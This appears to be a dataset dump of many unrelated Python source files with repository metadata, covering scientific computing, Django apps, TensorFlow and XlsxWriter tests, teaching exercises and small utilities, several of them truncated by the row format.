import numpy as np
import pytest
from sofia_redux.toolkit.fitting.polynomial \
import linear_equation, linear_vector_lstsq
@pytest.fixture
def data():
a = np.array([[3, 4], [5, 6.]])
b = np.array([[7., 8]])
alpha, beta = linear_equation... | [
"[email protected]"
] | |
d5d60ae5edaf5a5eb22194b2a9d172139d102b63 | ad0567e70e3c448955b25aa4a6d8e6e30027b7b1 | /scripts/canvastex.py | daf2b04f6d00eb6f03af3a5d6f25677f13d8f9b7 | [
"MIT",
"LicenseRef-scancode-warranty-disclaimer"
] | permissive | dsavransky/grading | 8409f800335296cd15f604c7f5af86cd0c25a31d | 5925cbdcf82b1eed90c927a35c2bc1bf6de13fae | refs/heads/main | 2022-08-12T22:52:34.076808 | 2022-07-22T15:27:15 | 2022-07-22T15:27:15 | 209,359,426 | 8 | 4 | MIT | 2021-10-06T12:57:03 | 2019-09-18T16:50:15 | Python | UTF-8 | Python | false | false | 1,236 | py | #!python
import argparse
import urllib.parse
import re
import os.path
def convlatex(texstr):
""" Convert input latex string to Canvas's img html """
if isinstance(texstr, re.Match):
texstr = texstr.groups()[0]
qtxt = """<img class="equation_image" title="{0}" src="https://canvas.cornell.edu/equa... | [
"[email protected]"
] | |
5588bd437577ce0e40d6e6d5de7128a2ee7fca69 | 925f2935b34042abc9161795413031ae68f45b9a | /multimodel_inference/SC3elsm.py | 859de2c0b23b9b122810c0220fa1cecd7c1363ea | [] | no_license | Farhad63/AFS-analysis-with-moments | 7e1d17f47c06ed97ebb7c9ec8245fe52a88622c3 | 7874b1085073e5f62d910ef2d79a22b29ff3be84 | refs/heads/master | 2022-04-09T22:11:12.341235 | 2020-03-11T21:15:42 | 2020-03-11T21:15:42 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,429 | py | #!/usr/bin/env python
# split, three epochs in each pop, asymmetric migration at same rates in all epochs
# n(para): 11
import matplotlib
matplotlib.use('PDF')
import moments
import pylab
import random
import matplotlib.pyplot as plt
import numpy as np
from numpy import array
from moments import Misc,Spectrum,Numeri... | [
"[email protected]"
] | |
370cd35756182e41352487f83230411fd0926a55 | 7c8fd5af8ade349f1d9f59c40cf9d5cda2755814 | /calculator.py | 80b33d64a550e7940ce55a1ef43fa6d6fb5af57d | [] | no_license | emilydowgialo/calculator-2 | 47cf6c31889ea56847e84b58f8e6c70f4336084f | 393aca0b3018192ecc3db68ff59a183438485e9e | refs/heads/master | 2016-08-11T07:48:06.250197 | 2016-04-07T19:59:55 | 2016-04-07T19:59:55 | 55,652,660 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,431 | py | """
calculator.py
Using our arithmetic.py file from Exercise02, create the
calculator program yourself in this file.
"""
from arithmetic import *
# Your code goes here
def calc_function():
value_returned = False
calculating = True
while calculating == True:
while value_returned == False:
... | [
"[email protected]"
] | |
89b03a17f56e9843db582338bc395c1f2fea79cf | 9724c8cd81ad39f7f9a2419e2873d7d74cb10c72 | /pyabc/util/dict2arr.py | 1e205cc289c9abf58cf89c4e2a29997249c9bcd2 | [
"BSD-3-Clause"
] | permissive | ICB-DCM/pyABC | 36b7fc431fe4ba4b34d80d268603ec410aeaf918 | d1542fb201edca86369082e1fc7934995e3d03a4 | refs/heads/main | 2023-09-01T13:42:52.880878 | 2023-08-18T16:55:04 | 2023-08-18T16:55:04 | 96,995,608 | 187 | 49 | BSD-3-Clause | 2023-08-18T16:55:05 | 2017-07-12T10:30:10 | Python | UTF-8 | Python | false | false | 2,995 | py | """Transform dictionaries to arrays."""
from numbers import Number
from typing import List, Union
import numpy as np
import pandas as pd
def dict2arr(dct: Union[dict, np.ndarray], keys: List) -> np.ndarray:
"""Convert dictionary to 1d array, in specified key order.
Parameters
----------
dct: If dic... | [
"[email protected]"
] | |
0e88de598b1ad3a47bce2fd27367d2c995ed185d | 487ce91881032c1de16e35ed8bc187d6034205f7 | /codes/CodeJamCrawler/16_0_2_neat/16_0_2_mck_B.py | 357542136cb2949d40fc809ea50ad4ecaec00794 | [] | no_license | DaHuO/Supergraph | 9cd26d8c5a081803015d93cf5f2674009e92ef7e | c88059dc66297af577ad2b8afa4e0ac0ad622915 | refs/heads/master | 2021-06-14T16:07:52.405091 | 2016-08-21T13:39:13 | 2016-08-21T13:39:13 | 49,829,508 | 2 | 0 | null | 2021-03-19T21:55:46 | 2016-01-17T18:23:00 | Python | UTF-8 | Python | false | false | 576 | py | import sys
def flip(x, list):
for i in range(0, x + 1):
if list[i] == "-":
list[i] = "+"
else:
list[i] = "-"
return list
def getLastIndexOfN(list):
for i in range(len(list), 0, -1):
if list[i - 1] == "-":
return i - 1
return -1
if __name__ == "__main__":
tests = int(sys.std... | [
"[[email protected]]"
] | |
aea17cef7dbd0f04529c1d5463ea0f6bfcb948fc | af9268e1ead8cdb491868c14a2240d9e44fb3b56 | /Cousinade/polls/migrations/0001_initial.py | 6363a01cf03b7608b2f3dd7940be9dd6cb4cd7dd | [] | no_license | frosqh/Cousinade2017 | d5154c24c93ca8089eeba26b53c594e92cb6bd82 | c34d5707af02402bf2bb7405eddc91297da399ff | refs/heads/master | 2021-01-20T07:57:34.586476 | 2017-10-22T18:42:45 | 2017-10-22T18:42:45 | 90,074,802 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,053 | py | # -*- coding: utf-8 -*-
# Generated by Django 1.11.5 on 2017-10-15 23:15
from __future__ import unicode_literals
from django.db import migrations, models
import django.db.models.deletion
import polls.models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
... | [
"[email protected]"
] | |
17d3ff2a36f1adcf56dde4f95f0754a323175ca0 | eb736f1412e434522687190685ccdae9ba722b58 | /Lab Exercise 2.3.2021/Cars/cars2.py | 2f49598a60b1672ee3390830cbfe517e22323420 | [] | no_license | nmessa/C_Sharp-2021 | 4a008853f4cf9fa8a617a5fcadaad964fc30c84c | 1124d4ab106a6a2204b98019b36f495f4167a12b | refs/heads/main | 2023-06-05T15:35:13.734371 | 2021-06-15T12:43:02 | 2021-06-15T12:43:02 | 332,059,776 | 2 | 0 | null | null | null | null | UTF-8 | Python | false | false | 961 | py | #Closest approach of 2 cars
##Car1 traveling north currently 2 miles south of junction at a rate of 30 MPH
##Car2 traveling west currently 3 miles east of jucntion at a rate of 40 MPH
##Find the closest distance the two cars approach
from math import *
from pylab import *
import time
collisions = []
for spe... | [
"[email protected]"
] | |
35b87aaf0cdcfdb706a1d081dce7b88de2b2f8a8 | 2ea4e667bdcd82565fca8ac96f74ee08bd67364e | /backend/chat/models.py | a2d82fbe6251955d52dea8721a5990fc822a0ba3 | [] | no_license | crowdbotics-apps/wadduplyapp-24147 | 39dff74efbdb15feaf1bde54dd9f6679b9c786ed | 19436f48d03dcc22807e9e331bb371a546f1dc9d | refs/heads/master | 2023-02-23T23:24:25.213934 | 2021-01-29T21:09:30 | 2021-01-29T21:09:30 | 334,259,663 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,152 | py | from django.conf import settings
from django.db import models
class ThreadAction(models.Model):
"Generated Model"
action = models.CharField(
max_length=7,
)
thread = models.ForeignKey(
"chat.Thread",
on_delete=models.CASCADE,
related_name="threadaction_thread",
)
... | [
"[email protected]"
] | |
c72650b3a9bf00b1efe3f5361b5d09a436c259cc | 48390374bb000e593a192ba5981210b130ebff1e | /using_threads/t3_locks.py | 3587dac6018618c0cf77b26f789f228f06185810 | [] | no_license | onionmccabbage/beyondAdvancedPythonApril2021 | 396615bb3c1989e0e57ae818950135250ce9ea33 | 0abccebcff1d0ff2e05f1f3b0188763fa3929920 | refs/heads/main | 2023-06-01T22:47:49.855370 | 2021-06-16T12:12:29 | 2021-06-16T12:12:29 | 360,176,678 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 998 | py | import threading
import time
import random
counter = 1
lock = threading.Lock()
def workerA():
global counter
lock.acquire()
try:
while counter <100:
counter += 1
print( 'Worker A is incrementing counter to {}'.format(counter) )
except Exception as e:
... | [
"[email protected]"
] | |
2d7f069d13b7e23eb16fe01d25ac2cbd1a0d3e43 | 9714a7e31c922dea5187ef09de7c7095bda515e1 | /visualization/api/ShotsDash.py | 5c65ee274340933206fb8e4127309f18d9abfc70 | [] | no_license | rd11490/Russell | 5104c846bccc52b2456dadb0e3a85af22169006f | b1f2c4c96a04a492bc5d1a0596f9bbc40a696e9d | refs/heads/master | 2022-07-11T03:51:29.155850 | 2019-12-31T05:21:58 | 2019-12-31T05:21:58 | 104,696,236 | 5 | 1 | null | 2022-06-20T23:50:29 | 2017-09-25T02:50:00 | Scala | UTF-8 | Python | false | false | 1,585 | py | import json
import pandas as pd
import urllib3
players = [1628369, 1627759,202954,202681,1626179,202694,202330,1628464,1627824,203935,1628400,201143,203382]
def build_ulr(player):
return "https://stats.nba.com/stats/playerdashptshots?DateFrom=&DateTo=&GameSegment=&LastNGames=0&LeagueID=00&Location=&Month=0&Oppon... | [
"[email protected]"
] | |
26c794fa0e7c4d0f5ce7dd1b14ec5667ae7562db | e38692437085a48abba0d682ec9921e7c24bf122 | /source/webapp/admin.py | db2c1391a590d746ca795f1daf03d514497964ea | [] | no_license | Aitmatow/farids_blog | f7a9e57c18957a1a08b66aff349904ad3b948cbc | cc92853ea8e2ac362df8bee4740d98280e7aefed | refs/heads/master | 2023-04-27T23:07:51.848466 | 2019-10-22T12:58:23 | 2019-10-22T12:58:23 | 215,323,364 | 0 | 0 | null | 2023-04-21T20:38:49 | 2019-10-15T14:44:35 | Python | UTF-8 | Python | false | false | 678 | py | from django.contrib import admin
from webapp.models import Article, Comment, Category, Tag
class CommentAdmin(admin.TabularInline):
model = Comment
fields = ['author', 'text']
extra = 0
class ArticleAdmin(admin.ModelAdmin):
list_display = ['pk', 'title', 'author', 'created_at']
list_filter = ['a... | [
"[email protected]"
] | |
d2ff3964c849c9dfa4f125ea4f263ed8cc60c79e | 68e76ef27df38b0fe2c1c993a9c15896563f950d | /2 Практика Робот/robot-tasks-master/task_32.py | a6c5bd5d73d6bf5f60c3579c8d427f1c5c882714 | [] | no_license | Jumas-Cola/mipt_cs_on_python3_answers | 72e9341656daa4afa35f8d39de917eb5471ee132 | a2d128c4ce391bdeea6d20eb955855ad5bc5a0b4 | refs/heads/master | 2020-03-27T23:44:09.088994 | 2019-07-29T13:55:35 | 2019-07-29T13:55:35 | 147,341,552 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 451 | py | #!/usr/bin/python3
from pyrob.api import *
@task(delay=0.01)
def task_8_18():
x=0
while not (wall_is_on_the_right() and not wall_is_on_the_left()):
if not wall_is_above() and wall_is_beneath():
while not wall_is_above():
move_up()
if cell_is_filled():
x+=1
else:
fill_cell()
while not ... | [
"[email protected]"
] | |
f57b234180126f5f12df6e7674e04017a4c1f047 | 7524bec2d88ca21750b09b83cc236cbfb6c61fea | /setup.py | be304e26ac19dc66f8ab4361a1a3074c10526e6b | [] | no_license | ericbusboom/insteon | c3d25f65038624b0bd3a26cf526f7b3c22891916 | f090231e197d517c24ee3b00a6143c2b1f0b89fc | refs/heads/master | 2020-04-19T08:23:51.283619 | 2015-02-14T19:55:10 | 2015-02-14T19:55:10 | 9,122,856 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 554 | py | from setuptools import setup, find_packages
setup(name='esbinsteon',
version='1.0',
description='Program to control an insteon interface. ',
author='Eric Busboom',
author_email='[email protected]',
url='http://busboom.org',
packages=['esbinsteon'],
package_data={'esbinste... | [
"[email protected]"
] | |
7122016d14d9ea48aa260c13465ca27e234421c0 | b5a9d42f7ea5e26cd82b3be2b26c324d5da79ba1 | /tensorflow/python/training/training_util_test.py | 3ec83b7be7f95c031003a009aa40c63af02060b2 | [
"Apache-2.0"
] | permissive | uve/tensorflow | e48cb29f39ed24ee27e81afd1687960682e1fbef | e08079463bf43e5963acc41da1f57e95603f8080 | refs/heads/master | 2020-11-29T11:30:40.391232 | 2020-01-11T13:43:10 | 2020-01-11T13:43:10 | 230,088,347 | 0 | 0 | Apache-2.0 | 2019-12-25T10:49:15 | 2019-12-25T10:49:14 | null | UTF-8 | Python | false | false | 5,363 | py | # Copyright 2015 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by... | [
"[email protected]"
] | |
3870e76c40ced6a801aa513970ff4feb772a2eac | c957b4663cc4cb21e5172f23c6989031be8c3e5b | /python/141. Linked List Cycle.py | 2b938337525872e17fcb52a8afbee163e4aa0323 | [] | no_license | gajanlee/leetcode | e061dc37af0f83bf2bce00c391c0b8a9f3177b22 | 0d3c8477f05604a059e58a8764ce0d8bd418edde | refs/heads/master | 2018-12-26T06:12:24.995542 | 2018-10-30T05:03:27 | 2018-10-30T05:03:27 | 102,965,574 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 718 | py | """
Given a linked list, determine if it has a cycle in it.
Follow up:
Can you solve it without using extra space?
"""
# 如果存在环,那么一个指针移动一个,另外一个移动两个,两个指针会相遇的
# Definition for singly-linked list.
# class ListNode(object):
# def __init__(self, x):
# self.val = x
# self.next = None
class Solution(obj... | [
"[email protected]"
] | |
8fe28884609f1cd95401053f75ed6003569df8ab | 2f14f8bccf15ccea2ff50e2f92164b43cb8f78b1 | /Dynamic Programming/LeetCode/MinimumCostForTickets_983.py | a2fbbbecdcf36d899c75b0abeb0b3e3cc2e3c0ba | [] | no_license | nikhiilll/Algorithms-using-Python | b3372f3ecca8e0c8e1358bb5a87391038a6630b6 | 8439864c637578d15915113564dbbf047b75b107 | refs/heads/master | 2023-02-10T23:09:31.312693 | 2020-12-24T16:56:29 | 2020-12-24T16:56:29 | 313,243,919 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 445 | py | def minimumCostForTickets(days, costs):
costArray = [0 for i in range(days[-1] + 1)]
for i in range(1, days[-1] + 1):
if i not in days:
costArray[i] = costArray[i - 1]
else:
costArray[i] = min(costArray[max(0, i - 1)] + costs[0], costArray[max(0, i - 7)] + costs[1], co... | [
"[email protected]"
] | |
0a8e33e5da3e1e73a09e33523e5636f64d2b3abd | 9697a1ab85af91ee587623ac3089adb5dbbd6814 | /configs/QCD_AOD__9_cfg.py | f0f4e8a89e9f22c748119952227009ee9236238a | [] | no_license | nicholas-bower/myLowPtGsfElectronAnalyzer | e9bfaad71631fda4fa67e532015daef2f03edab5 | d4558c124af04f09db9e51e468f8ac3268a940e5 | refs/heads/master | 2022-11-16T21:02:56.940840 | 2020-07-16T15:37:03 | 2020-07-16T15:37:03 | 280,191,555 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,818 | py |
# Auto generated configuration file
# using:
# Revision: 1.19
# Source: /local/reps/CMSSW/CMSSW/Configuration/Applications/python/ConfigBuilder.py,v
# with command line options: test2 -s RAW2DIGI,L1Reco,RECO --datatier RECO --era=Run2_2018 --conditions auto:phase1_2018_realistic --eventcontent RECO --filein file:te... | [
"[email protected]"
] | |
2da59e2885e26454205131e62eb8ef38c89aa7d9 | 0b05df6c954e5952369d544a878111798c83be59 | /tensorpack/utils/argtools.py | 743bbaeb089d21c8a3f3e77d64f1937b75fdeb8d | [
"Apache-2.0"
] | permissive | SunskyF/tensorpack | ddd1182acc8cfe6354d08679ef6bae11022b4230 | ffe1398a146312cc74189e529475e67ca0b0cd5c | refs/heads/master | 2020-04-12T09:24:47.182655 | 2018-12-19T07:52:06 | 2018-12-19T07:52:06 | 162,401,727 | 0 | 0 | Apache-2.0 | 2018-12-19T07:49:38 | 2018-12-19T07:49:37 | null | UTF-8 | Python | false | false | 6,132 | py | # -*- coding: utf-8 -*-
# File: argtools.py
import inspect
import six
from . import logger
if six.PY2:
import functools32 as functools
else:
import functools
__all__ = ['map_arg', 'memoized', 'memoized_method', 'graph_memoized', 'shape2d', 'shape4d',
'memoized_ignoreargs', 'log_once', 'call_only_o... | [
"[email protected]"
] | |
5b13733fd9888fea4a5dbbefc18f3413b70f4bec | 75e84467a370b22aae4f30ab1fa7b42ccec9cb85 | /cybox/objects/user_account_object.py | b25c7ea95eded4bb86a815050cbf12cda9073d4f | [
"BSD-3-Clause"
] | permissive | cy-fir/python-cybox | cbe6eaafeac2a0dcb2ba06925ea72c3c44e29f42 | 292a378be5322032e8df0b9a110c2205b72aeee6 | refs/heads/master | 2020-12-31T03:36:26.544132 | 2016-01-22T22:05:25 | 2016-01-22T22:05:25 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,075 | py | # Copyright (c) 2015, The MITRE Corporation. All rights reserved.
# See LICENSE.txt for complete terms.
from mixbox import entities
from mixbox import fields
import cybox.bindings.user_account_object as user_account_binding
from cybox.common import DateTime, Duration, String
from cybox.objects.account_object import A... | [
"[email protected]"
] | |
925fde5c4d36383db5a4ca3dd2f2a95b0eac5cd1 | 45de7d905486934629730945619f49281ad19359 | /xlsxwriter/test/worksheet/test_write_sheet_view.py | 80b851daa21e858de10d231daeeebed0d8042104 | [
"BSD-2-Clause"
] | permissive | jmcnamara/XlsxWriter | 599e1d225d698120ef931a776a9d93a6f60186ed | ab13807a1be68652ffc512ae6f5791d113b94ee1 | refs/heads/main | 2023-09-04T04:21:04.559742 | 2023-08-31T19:30:52 | 2023-08-31T19:30:52 | 7,433,211 | 3,251 | 712 | BSD-2-Clause | 2023-08-28T18:52:14 | 2013-01-04T01:07:06 | Python | UTF-8 | Python | false | false | 3,163 | py | ###############################################################################
#
# Tests for XlsxWriter.
#
# SPDX-License-Identifier: BSD-2-Clause
# Copyright (c), 2013-2023, John McNamara, [email protected]
#
import unittest
from io import StringIO
from ...worksheet import Worksheet
class TestWriteSheetView(unitt... | [
"[email protected]"
] | |
a753eac93c08765a0bdfa2dc047e3540b4c795b6 | d7a73fdc2fa60a171d1b3ed3bbefe863c9351fab | /progen_transformer/utils.py | 985f3b5fa667b37073c055c4d1b1786ddb90b702 | [
"MIT"
] | permissive | sailfish009/progen | e584d7352d8f89c7d72992c222ca888db7f28495 | 131320c67ed831aa812e58a4995d3414e458640f | refs/heads/main | 2023-06-07T12:49:09.742045 | 2021-07-04T00:06:59 | 2021-07-04T00:06:59 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,477 | py | import os, errno
from shutil import rmtree
from jax import random, nn, value_and_grad, vmap, pmap, jit, lax
from jax.lax import top_k
import jax.numpy as np
# helper functions
def exists(val):
return val is not None
def log(t, eps = 1e-20):
return np.log(t + eps)
def confirm(question):
while True:
... | [
"[email protected]"
] | |
09f225cdf22472b45c1d1f9d140bd0d5ee2c897f | 55c250525bd7198ac905b1f2f86d16a44f73e03a | /Python/Scripts/Lazymux/routersploit/routersploit/modules/creds/cameras/honeywell/ssh_default_creds.py | 6477710e7ac7b6aa711f719e0a907bb616b6175d | [] | no_license | NateWeiler/Resources | 213d18ba86f7cc9d845741b8571b9e2c2c6be916 | bd4a8a82a3e83a381c97d19e5df42cbababfc66c | refs/heads/master | 2023-09-03T17:50:31.937137 | 2023-08-28T23:50:57 | 2023-08-28T23:50:57 | 267,368,545 | 2 | 1 | null | 2022-09-08T15:20:18 | 2020-05-27T16:18:17 | null | UTF-8 | Python | false | false | 128 | py | version https://git-lfs.github.com/spec/v1
oid sha256:39364c7930721e7cc70c7da8107affc5b3e0356146825b0ee4d41d5a6b47b20f
size 858
| [
"[email protected]"
] | |
6d4d9a6b5cf7732ea1bdc9a1514340ec7eafad4d | 0a9e72d2527a2d82086b8c56ef23c9e9903e3da3 | /russian_roulette/RussianRoulette.py | d0c2ba3861197b9d51598f15d79a22c7e5a55170 | [
"LicenseRef-scancode-unknown-license-reference",
"BSD-2-Clause"
] | permissive | karlnapf/ozone-roulette | 6bfcab10dee8b9dd95833bd15c1a3702c2f9769e | df99b11c3b00a27440b094427d485b2fea858903 | refs/heads/master | 2021-01-01T05:30:21.389668 | 2015-02-03T09:09:40 | 2015-02-03T09:10:01 | 12,896,509 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 3,664 | py |
from abc import abstractmethod
from numpy.lib.function_base import delete
from numpy.ma.core import mean, zeros, log, arange, std
from numpy.random import permutation, rand
import logging
class RussianRoulette(object):
def __init__(self, threshold, block_size=1):
self.threshold = threshold
self.bl... | [
"[email protected]"
] | |
5e392dbeec98a689c52d64e02a4d0985d70efdef | 8afb5afd38548c631f6f9536846039ef6cb297b9 | /_MY_ORGS/Web-Dev-Collaborative/blog-research/Data-Structures/1-Python/matrix/sudoku_validator.py | 7bda6e4241502010a2301498fe39b6c447b205d9 | [
"MIT"
] | permissive | bgoonz/UsefulResourceRepo2.0 | d87588ffd668bb498f7787b896cc7b20d83ce0ad | 2cb4b45dd14a230aa0e800042e893f8dfb23beda | refs/heads/master | 2023-03-17T01:22:05.254751 | 2022-08-11T03:18:22 | 2022-08-11T03:18:22 | 382,628,698 | 10 | 12 | MIT | 2022-10-10T14:13:54 | 2021-07-03T13:58:52 | null | UTF-8 | Python | false | false | 2,478 | py | """
Write a function validSolution/ValidateSolution/valid_solution() that accepts a 2D array representing a Sudoku board, and returns true if it is a valid solution, or false otherwise. The cells of the sudoku board may also contain 0's, which will represent empty cells. Boards containing one or more zeroes are conside... | [
"[email protected]"
] | |
542a65e7cf0987e43c313ec125817c182f6c4308 | e66eb0234d09b732b52c839058a830bee486fd30 | /list_operations.py | 6e136a5fe261e154cc5ab0633b4d3bcc537ce7b0 | [] | no_license | nt-git/list-slicing | 44d10c350b0e0248cfcc18cf795bab07bb5f4a5b | 5f8a8290a4b040bef1ddbfe7b6e559a46d01f67e | refs/heads/master | 2021-05-14T13:08:26.640954 | 2018-01-05T21:08:11 | 2018-01-05T21:08:11 | 116,427,201 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,306 | py | """Functions that manipulate lists without using Python's built-in list methods.
The fundamental operations on lists in Python are those that are part of the
language syntax and/or cannot be implemented in terms of other list operations.
They include:
* List indexing (some_list[index])
* List indexing assignm... | [
"[email protected]"
] | |
5e10aabc613ae7de645ef94312a9a1bc985b98cf | aa0366a8632f334fb35e6bdc78717f3456202eb7 | /bp/characterKit.py | 21b2ade02cf6076383350c1d725ab0a82e74ea12 | [] | no_license | Mortaciunea/bdScripts | 0891478096f3a5876655896c9649c0a7204d5ee8 | 4f6e9d2b181bb4a90c1ccfcaca64c22ecbe0dd59 | refs/heads/master | 2020-12-24T13:36:57.930038 | 2015-09-03T16:03:46 | 2015-09-03T16:03:46 | 41,869,547 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,057 | py | import pymel.core as pm
import pymel.core.datatypes as dt
import re,os,shutil,glob
import logging
import shiboken
import PySide.QtGui as QtGui
import PySide.QtCore as QtCore
import maya.OpenMayaUI
def get_maya_window():
maya_window_util = maya.OpenMayaUI.MQtUtil.mainWindow()
maya_window = shiboken.wrapInst... | [
"[email protected]"
] | |
400ddf4c1c830f1adf3d42e1f2ef065c19735ef2 | b08b373d78fb42dbb11aebeadf71168dc6476696 | /pycharm_programs/mme-methods/henbgw_count.py | d84e97c0fedf37a1d818f56f5e2f6731fc524b0b | [] | no_license | lajapathy/python-practice | 40a44a026546d1f3414452a99a68487a14df3c02 | 869a59cad89077327bb8117c34801af985a63e0d | refs/heads/master | 2022-02-25T14:59:52.155959 | 2019-09-24T07:16:58 | 2019-09-24T07:16:58 | 121,089,806 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 950 | py | import re
def henbgw_count(self):
for chassis in self.get_dut_list():
config_lines = self._send(["show config"], chassis)
henbgw_mgmt_db_name_from_config = ''
henbgw_mgmt_db_name_from_cli_output = ''
for line in config_lines:
if "associate henbgw-mgmt-db" in line:
... | [
"[email protected]"
] | |
0dc4c9fb7b5faa84b43a579fbd289c735ff7794f | 8fd92c0a65c9b3e3912b6e8ef043656ee225880a | /EXAMPLES/np_create_ranges.py | e1aa89ab7ab9a7f0785f17f77b6c152021baa25a | [] | no_license | waiteb15/py3forsci3day | 9fbcbb59f1c14f3d91cb2599d7ca8b4d6ac628c4 | fc664042618f0910d40e85677a2438eef5cce2b7 | refs/heads/master | 2020-04-25T11:24:18.697218 | 2019-02-28T23:40:52 | 2019-02-28T23:40:52 | 172,743,315 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 347 | py | #!/usr/bin/env python
import numpy as np
r1 = np.arange(50)
print(r1)
print("size is", r1.size)
print()
r2 = np.arange(5,101,5)
print(r2)
print("size is", r2.size)
print()
r3 = np.arange(1.0,5.0,.3333333)
print(r3)
print("size is", r3.size)
print()
r4 = np.linspace(1.0, 5.0, 7)
print(r4)
print("... | [
"[email protected]"
] | |
ab6d591fb1096d67a92f1b2f9be58d471222ea9a | 37fef592f365194c28579f95abd222cc4e1243ae | /streamlit/book_recommender/Overview.py | 3a38ef090b172cb0a6ec3907446d749998ff6fca | [] | no_license | edimaudo/Python-projects | be61e0d3fff63fb7bd00513dbf1401e2c1822cfb | 85d54badf82a0b653587a02e99daf389df62e012 | refs/heads/master | 2023-04-07T03:26:23.259959 | 2023-03-24T12:03:03 | 2023-03-24T12:03:03 | 72,611,253 | 4 | 3 | null | 2022-10-31T18:10:41 | 2016-11-02T06:37:17 | null | UTF-8 | Python | false | false | 3,298 | py | #================
# Book Overview
#================
# Load libraries
import streamlit as st
import pandas as pd
import plotly.express as px
import os, os.path
st.title('Book Overview')
@st.cache
def load_data(DATA_URL):
data = pd.read_csv(DATA_URL)
data.dropna(inplace=True)
return data
# Load data
books ... | [
"[email protected]"
] | |
bb0b96e5d3a9763e899440f021b68306c0ff6345 | 022a0cb0d0873da0c25da6b6aa8b258b80a4b7e0 | /165.py | 933086226d00282a90482d8c4273a8718bea1615 | [] | no_license | subayadhav/fri07061 | 31e1e89ac1be60c736450f749486651968cfeba4 | 380f5d108869ad4cde16140dc21a88f2a7972722 | refs/heads/master | 2020-06-01T06:43:17.094510 | 2019-06-07T08:47:49 | 2019-06-07T08:47:49 | 190,683,539 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 130 | py | n1,k=map(int,input().split())
l=[int(x) for x in input().split()]
l.sort()
for i in l:
if i>k:
print(i)
break
| [
"[email protected]"
] | |
eb505b88bac2629ad98d57305ff289ab7e507c38 | 94d1e805521575afb7b6256af1dd6de65a50ada9 | /problem_5/problem_5.py | 458d419fed34ea5f74c68c10e9d6c3fe6dc7dbf6 | [] | no_license | John-W-Stevens/Euler100 | fe2004786f64172e02ba18fbe33d95ceb68abf59 | 6f193a47e9e019b99ee9b188d2227587f5a3f4b3 | refs/heads/master | 2022-11-26T07:23:36.505138 | 2020-07-28T17:36:39 | 2020-07-28T17:36:39 | 274,224,709 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,828 | py | # 2520 is the smallest number that can be divided by each of the numbers from 1 to 10 without any remainder.
# What is the smallest positive number that is evenly divisible by all of the numbers from 1 to 20?
import time
def is_prime(n):
""" Returns Boolean """
if n <= 1: return False
if n == 2 or n == 3:... | [
"[email protected]"
] | |
f6626102fabf2650c694713c2ad5149437e06451 | 0dec4bee4820161ae892f615023dd6ff9dae8ff4 | /PyMrawler/SocialEventCrawlerGR/Links.py | 40ddb5a031bebced3cf662f7c038a859ef7f5f1d | [] | no_license | mpetyx/PyMrawler | 8fbf77276838f3e26b746205f5ded33e9c5be559 | 6f7dc608620ddfff1c3021aa740cf8409a7eb311 | refs/heads/master | 2016-09-10T00:16:49.353207 | 2012-10-17T10:13:15 | 2012-10-17T10:13:28 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,323 | py | '''
Created on 11 Dec 2011
@author: mpetyx
'''
class Link:
def __init__(self,text):
"""
Here we search all the links included in the description
"""
self.links = None
from TextHandling import TextFunctions
self.text = TextFunctions(text)
... | [
"[email protected]"
] | |
34356c92a49affa75602a75e6add206fdd9417a7 | 012837eafe45c8f7ee5fc77d4c4d7725d5314c5c | /workshops/8-day/8-clazz.py | 6322475cba90b04e02f631dcfd665c48f6e3d371 | [
"MIT"
] | permissive | ai-erorr404/opencv-practice | e9408cf006779a678cf3a30fc60e9dbeb3c8e493 | 60ef5e4aec61ee5f7e675fb919e8f612e59f664a | refs/heads/master | 2021-02-08T11:17:04.763522 | 2020-02-22T09:43:04 | 2020-02-22T09:43:04 | 244,146,060 | 1 | 1 | MIT | 2020-03-01T12:35:02 | 2020-03-01T12:35:01 | null | UTF-8 | Python | false | false | 1,854 | py | #!/usr/bin/env python3
# -*- coding=utf-8 -*-
import cv2 as cv
"""
视频前景/背景提取
视频前景/背景提取技术用于提取前景移动对象,通过获取移动对象的mask实现获取移动物体的轮廓信息,最常用的方法是帧差相减法进行,即用
前一帧的图像最为背景图像与当前帧进行相减,该方法对光照、噪声相当敏感。opencv中对背景模型提取的算法有两种,一种是基于高斯模糊模型(GMM)
实现背景提取,另外一种是使用最近相邻模型(KNN)实现的,api如下:
GMM cv.createBackgroundSu... | [
"[email protected]"
] | |
0c1776f6bd320e7f308bee7b96fd85ce0f010a7c | aed0016db7f4d22e7d66e6fddb7bf4ef68a3c692 | /neural_sp/models/seq2seq/decoders/build.py | 0f813cfcdda9ab87c1f3eab770b881268e309039 | [] | no_license | thanhkm/neural_sp | 6a5575111c83d1fdd97edec21f90fe647965cb69 | 1a5a5ed54f4cb79436007593dbd0d782b246a0c7 | refs/heads/master | 2020-12-26T23:22:56.964151 | 2020-01-15T23:40:22 | 2020-01-15T23:40:22 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 6,001 | py | #! /usr/bin/env python3
# -*- coding: utf-8 -*-
# Copyright 2019 Kyoto University (Hirofumi Inaguma)
# Apache 2.0 (http://www.apache.org/licenses/LICENSE-2.0)
"""Select an decoder network."""
from __future__ import absolute_import
